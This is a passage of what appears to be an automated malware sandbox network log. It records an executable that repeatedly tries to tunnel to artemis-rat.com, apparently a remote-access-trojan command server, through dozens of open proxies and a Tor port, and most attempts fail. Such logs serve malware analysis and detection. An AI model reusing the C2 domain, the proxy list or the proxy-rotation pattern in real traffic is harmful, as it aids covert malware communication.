Mar 11, 2024 03:30:43.806389093 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 715 Content-Type: text/html Date: Mon, 11 Mar 2024 02:20:47 GMT Expires: Mon, 11 Mar 2024 02:20:47 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.5	51035	212.110.188.216	34405	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.171490908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.201942921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.202898026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.202224970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.288724899 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.5	51927	104.22.37.236	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.187088013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.342483044 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.5	51951	104.17.215.222	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.207236052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.361737013 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.5	51849	202.40.181.220	31247	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.242360115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.186062098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.5	51959	72.167.221.188	49913	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.242896080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.686073065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.202819109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.202280998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.201982975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.5	51952	138.68.60.8	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.244553089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.849622011 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.5	50946	103.194.88.107	32650	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.244905949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.887582064 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 700 Content-Type: text/html Date: Thu, 07 Mar 2024 07:04:45 GMT Expires: Thu, 07 Mar 2024 07:04:45 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.5	51939	162.214.227.68	45540	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.246021032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.732971907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.311415911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.5	51874	72.206.181.123	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.248585939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
655	192.168.2.5	51876	72.195.34.58	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.249469042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.5	51115	51.89.21.99	64315	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.249469995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.355070114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.5	51245	107.180.90.88	63100	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.249954939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.389441967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.5	51877	98.175.31.195	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.251539946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.5	51878	184.185.2.12	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.254579067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.5	51970	104.16.109.213	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.255039930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.410424948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.5	51900	72.210.252.134	46164	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.255409956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.5	51200	98.170.57.249	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.256594896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.5	51941	132.148.167.243	48298	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.257617950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.5	51315	132.148.16.169	55610	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.258696079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.355124950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405555010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.508852005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.5	51916	162.214.121.11	2993	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.259730101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.748610020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.514410973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.806396008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.5	51979	172.67.181.12	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.259859085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.415175915 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.5	51990	104.20.123.164	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.267209053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.421799898 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.5	51880	192.252.216.81	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.267380953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.5	51995	104.17.132.79	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.268058062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.422770977 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.5	51851	178.154.228.16	9050	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.271229029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:04.119040012 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP 